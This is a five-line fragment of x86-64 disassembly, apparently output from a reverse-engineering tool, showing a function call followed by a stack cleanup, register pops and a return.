call fcn.140007080
add rsp, 0x1b38
pop r14
pop rbp
ret